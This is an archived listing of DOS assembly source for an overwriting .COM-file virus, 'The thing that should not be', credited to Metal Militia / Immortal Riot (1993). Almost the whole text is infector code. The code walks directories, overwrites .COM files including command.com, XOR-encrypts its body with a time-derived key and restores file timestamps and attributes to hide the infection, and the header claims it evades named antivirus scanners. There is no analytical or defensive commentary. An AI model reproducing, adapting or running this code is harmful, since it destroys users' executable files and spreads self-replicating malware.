home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / thething.asm < prev    next >
Assembly Source File  |  1993-07-29  |  10KB  |  301 lines

  1. ; VirusName: The thing that should not be
  2. ; Country  : Sweden
  3. ; Author   : Metal Militia / Immortal Riot
  4. ; Date     : 07-29-1993
  5. ;
  6. ; This is a mutation of the Bad Brains by skism, USA
  7. ; It was found in April 1992. Many thanx goes to the
  8. ; scratch coder of it!
  9. ;
  10. ; This is a non-resident direct action infector of com files,
  11. ; including command.com. It infects one .COM file on the current 
  12. ; drive, each time it's run by overwrite it. If the file is smaller
  13. ; than the virus, it will grow to that size.
  14. ;
  15. ; This will work just fine, and
  16. ; Scan v105 can't find it, neither can 
  17. ; S&S Toolkit 6.5.
  18. ;
  19. ; Havn't tried with F-PROT and TBSCAN, but they  will probably
  20. ; report some virus structure in the file.
  21. ;
  22. ;              Regards : [Metal Militia]
  23. ;                  [The Unforgiven]
  24.  
  25. fileattr   EQU      21
  26. filetime   EQU      22
  27. filedate   EQU      24
  28. filename   EQU      30
  29.  
  30. virus_size EQU      554
  31. code_start EQU      0100h
  32.  
  33. code     segment  'code'
  34. assume   cs:code,ds:code,es:code
  35.          org      code_start
  36.  
  37. main proc   near
  38.  
  39. jmp    virus_start
  40.  
  41. encrypt_val    dw     0000h
  42.  
  43. virus_start:
  44.  
  45.      call     encrypt                  ;encrypt/decrypt file
  46.      jmp      virus                    ;go to start of code
  47.  
  48. encrypt:
  49.  
  50.      push     cx
  51.      mov      cx,offset virus_code+virus_size
  52.      mov      si,offset virus_code     ;start encryption at data
  53.      mov      di,si
  54.      cld
  55.  
  56. xor_loop:
  57.  
  58.      lodsw
  59.      xor      bx,encrypt_val           ;get encryption key <- ?x = scan string
  60.      stosw
  61.      dec      cx
  62.      jcxz     stoppa
  63.      jmp      xor_loop
  64.  
  65. stoppa:
  66.  
  67.      pop      cx
  68.      ret
  69.  
  70. infectfile:
  71.  
  72.      mov     dx,code_start             ;where virus starts in memory
  73.      mov     bx,handle                 ;load bx with handle
  74.      mov     cx,virus_size             ;number of bytes to write
  75.      call    encrypt                   ;encrypt file
  76.      mov     ax,4000h                  ;write to file
  77.      int     21h                       ;
  78.      call    encrypt                   ;fix up the mess
  79.      ret
  80.  
  81. virus_code:
  82.  
  83. ; Some more nice notes included in this one..
  84.  
  85.  
  86. vname        db     " The Thing That Should Not Be  ",0 ;                      
  87. vname_2      db     " He searches",0
  88. vname_3      db     " Hunters of the shadow is rising ",0
  89.          db        " Crawling chaos, underground, ",0
  90.          db        " out from ruins once possessed ",0
  91.          db        " Fallen city, living death..",0
  92.  
  93.  
  94.  
  95. wildcards    db     "*",0              ;search for directory argument
  96. filespec     db     "*.COM",0          ;search for COM file argument
  97. rootdir      db     "\",0              ;argument for root directory
  98. dirdata      db     43 dup (?)         ;holds directory DTA
  99. filedata     db     43 dup (?)         ;holds files DTA
  100. diskdtaseg   dw     ?                  ;holds disk dta segment
  101. diskdtaofs   dw     ?                  ;holds disk dta offset
  102. tempofs      dw     ?
  103. tempseg      dw     ?
  104. drivecode    db     ?                  ;holds drive code
  105. currentdir   db     64 dup (?)         ;save current directory into this
  106. handle       dw     ?                  ;holds file handle
  107. orig_time    dw     ?
  108. orig_date    dw     ?
  109. orig_attr    dw     ?
  110. idbuffer     dw     2 dup  (?)
  111.  
  112. virus:
  113.  
  114.       mov    ax,3000h                  ;get dos version
  115.       int    21h                       ;
  116.       cmp    al,02h                    ;is it at least 2.00?
  117.       jb     bus                       ;won't infect less than 3.00
  118.       mov    ah,2ch                    ;get time
  119.       int    21h                       ;
  120.       add    dh,cl                     ;add the two registers
  121.       mov    encrypt_val,dx            ;save m_seconds to encrypt val so
  122.                                        ;we have up to 65,535 mutations
  123.  
  124.  
  125. setdta:
  126.  
  127.      mov     dx,offset dirdata         ;offset of where to hold new dta
  128.      mov     ah,1ah                    ;set dta address
  129.      int     21h                       ;
  130.  
  131. newdir:
  132.  
  133.      mov     ah,19h                    ;get drive code
  134.      int     21h                       ;
  135.      mov     dl,al                     ;save drivecode
  136.      inc     dl                        ;add one to dl, because functions differ
  137.      mov     ah,47h                    ;get current directory
  138.      mov     si, offset currentdir     ;buffer to save directory in
  139.      int     21h                       ;
  140.  
  141.      mov     dx,offset rootdir         ;move dx to change to root directory
  142.      mov     ah,3bh                    ;change directory to root
  143.      int     21h                       ;
  144.  
  145. scandirs:
  146.  
  147.      mov     cx,13h                    ;look for directorys
  148.      mov     dx, offset wildcards      ;look for '*'
  149.      mov     ah,4eh                    ;find first file
  150.      int     21h                       ;
  151.      cmp     ax,12h                    ;no first file?
  152.      jne     dirloop                   ;no dirs found? bail out
  153.  
  154. bus:
  155.      jmp     abort
  156.  
  157. copyright  db  'Metal Militia / Immortal Riot  '
  158.  
  159. dirloop:
  160.  
  161.      mov     ah,4fh                    ;find next file
  162.      int     21h                       ;
  163.      cmp     ax,12h
  164.      je      quit                      ;no more dirs found, roll out
  165.  
  166. chdir:
  167.  
  168.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  169.      mov     ah,3bh                    ;change directory
  170.      int     21h                       ;
  171.  
  172.      mov     ah,2fh                    ;get current dta address
  173.      int     21h                       ;
  174.      mov     [diskdtaseg],es           ;save old segment
  175.      mov     [diskdtaofs],bx           ;save old offset
  176.      mov     dx,offset filedata        ;offset of where to hold new dta
  177.      mov     ah,1ah                    ;set dta address
  178.      int     21h                       ;
  179.  
  180. scandir:
  181.  
  182.      mov     cx,07h                    ;find any attribute
  183.      mov     dx,offset filespec        ;point dx to "*.COM",0
  184.      mov     ah,4eh                    ;find first file function
  185.      int     21h                       ;
  186.      cmp     ax,12h                    ;was file found?
  187.      jne     transform
  188.  
  189. nextexe:
  190.  
  191.      mov     ah,4fh                    ;find next file
  192.      int     21h                       ;
  193.      cmp     ax,12h                    ;none found
  194.      jne     transform                 ;found see what we can do
  195.  
  196.      mov     dx,offset rootdir         ;move dx to change to root directory
  197.      mov     ah,3bh                    ;change directory to root
  198.      int     21h                       ;
  199.      mov     ah,1ah                    ;set dta address
  200.      mov     ds,[diskdtaseg]           ;restore old segment
  201.      mov     dx,[diskdtaofs]           ;restore old offset
  202.      int     21h                       ;
  203.      jmp     dirloop
  204.  
  205. quit:
  206.  
  207.      jmp     rollout
  208.  
  209.  
  210. transform:
  211.  
  212.      mov     ah,2fh                    ;temporally store dta
  213.      int     21h                       ;
  214.      mov     [tempseg],es              ;save old segment
  215.      mov     [tempofs],bx              ;save old offset
  216.      mov     dx, offset filedata + filename
  217.  
  218.      mov     bx,offset filedata               ;save file...
  219.      mov     ax,[bx]+filedate          ;date
  220.      mov     orig_date,ax              ;
  221.      mov     ax,[bx]+filetime          ;time
  222.      mov     orig_time,ax              ;    and
  223.      mov     ax,[bx]+fileattr          ;
  224.      mov     ax,4300h
  225.      int     21h
  226.      mov     orig_attr,cx
  227.      mov     ax,4301h                  ;change attributes
  228.      xor     cx,cx                     ;clear attributes
  229.      int     21h                       ;
  230.      mov     ax,3d00h                  ;open file - read
  231.      int     21h                       ;
  232.      jc      fixup                     ;error - find another file
  233.      mov     handle,ax                 ;save handle
  234.      mov     ah,3fh                    ;read from file
  235.      mov     bx,handle                 ;move handle to bx
  236.      mov     cx,02h                    ;read 2 bytes
  237.      mov     dx,offset idbuffer        ;save to buffer
  238.      int     21h                       ;
  239.  
  240.      mov     ah,3eh                    ;close file for now
  241.      mov     bx,handle                 ;load bx with handle
  242.      int     21h                       ;
  243.  
  244.      mov     bx, idbuffer              ;fill bx with id string
  245.      cmp     bx,03ebh                  ;infected?
  246.      jne     doit                      ;same - find another file
  247.  
  248.  
  249. fixup:
  250.      mov     ah,1ah                    ;set dta address
  251.      mov     ds,[tempseg]              ;restore old segment
  252.      mov     dx,[tempofs]              ;restore old offset
  253.      int     21h                       ;
  254.      jmp     nextexe
  255.  
  256.  
  257. doit:
  258.  
  259.      mov     dx, offset filedata + filename
  260.      mov     ax,3d02h                  ;open file read/write access
  261.      int     21h                       ;
  262.      mov     handle,ax                 ;save handle
  263.  
  264.      call    infectfile
  265.  
  266.      ;mov     ax,3eh                    ;close file
  267.      ;int     21h
  268.  
  269. rollout:
  270.  
  271.      mov     ax,5701h                  ;restore original
  272.      mov     bx,handle                 ;
  273.      mov     cx,orig_time              ;time and
  274.      mov     dx,orig_date              ;date
  275.      int     21h                       ;
  276.  
  277.      mov     ax,4301h                  ;restore original attributes
  278.      mov     cx,orig_attr
  279.      mov     dx,offset filedata + filename
  280.      int     21h
  281.      ;mov     bx,handle
  282.      ;mov     ax,3eh                   ;close file
  283.      ;int     21h
  284.      mov     ah,3bh                    ;try to fix this
  285.      mov     dx,offset rootdir         ;for speed
  286.      int     21h                       ;
  287.      mov     ah,3bh                    ;change directory
  288.      mov     dx,offset currentdir      ;back to original
  289.      int     21h                       ;
  290.  
  291. Abort:
  292.  
  293.      mov     ax,4c00h                  ;end program
  294.      int     21h                       ;
  295.  
  296.  
  297. main     endp
  298. code     ends
  299.          end      main
  300.  
  301.